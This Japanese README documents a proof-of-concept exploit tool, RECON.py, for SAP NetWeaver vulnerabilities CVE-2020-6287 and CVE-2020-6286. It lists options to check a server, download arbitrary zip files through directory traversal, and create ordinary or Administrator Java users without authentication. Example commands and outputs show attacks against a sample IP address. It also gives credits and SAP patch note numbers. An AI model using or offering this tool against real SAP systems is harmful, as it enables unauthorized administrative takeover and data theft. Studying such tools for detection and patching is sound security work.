PoC for CVE-2020-6287, CVE-2020-6286 (SAP RECON脆弱性) のPoC

~~プフッ！RECON（Remotely Exploitable Code On NetWeaver）？皆さん、本当ですか？それがあなた方が考え出した最高のコードネームですか？:)~~

このスクリプトは、SAP LM Configuration Wizardの認証チェック欠落の脆弱性をチェックし、PoCスクリプトとしてqueryProtocolメソッドのディレクトリトラバーサルを悪用します。

ディレクトリトラバーサルにより、SAPサーバーから任意のzipファイルをダウンロードできます。

このプロジェクトは教育目的のみで作成されており、法律違反や個人的な利益のために使用することはできません。
このプロジェクトの作者は、このプロジェクトの資料によって引き起こされる可能性のあるいかなる損害についても責任を負いません。

発見者:

CVE-2020-6287: Pablo Artuso
CVE-2020-6286: Yvan 'iggy' G.

解決策: #2934135, #2939665

使用方法

SAP NW AS Javaのホスト名/IPを指定するだけです。

追加オプションがあります:

-c - SAPサーバーがRECONに対して脆弱かどうかをチェックします
-f - SAPサーバーからzipファイルをダウンロードします
-u - Authenticated Userロールを持つSAP JAVAユーザーを作成します
-a - Administratorロールを持つSAP JAVAユーザーを作成します

例: zipファイルのダウンロード

~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved

例: SAP JAVAユーザーの作成

~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created

例: SAP JAVA管理者ユーザーの作成

~python RECON.py -H 172.16.30.8 -a
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
Ok! Admin user were created

すべてのオプション

~python RECON.py -h
usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
                [-u] [-a] [--timeout TIMEOUT] [-v]

PoC for CVE-2020-6287,  (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy

Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner

Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Java NW host (default: 127.0.0.1)
  -P PORT, --port PORT  Java NW web port (default: tcp/50000)
  -p PROXY, --proxy PROXY
                        Use proxy (ex: 127.0.0.1:8080)
  -s, --ssl             enable SSL
  -c, --check           just detect vulnerability
  -f ZIPFILE, --zipfile ZIPFILE
                        ZIP file to read. CVE-2020-6286
  -u, --user            Create simple JAVA user. CVE-2020-6287
  -a, --admin           Create JAVA user with role "Administrator". CVE-2020-6287
  --timeout TIMEOUT     HTTP connection timeout in second (default: 10)
  -v, --verbose         verbose mode

SAP_RECON

人気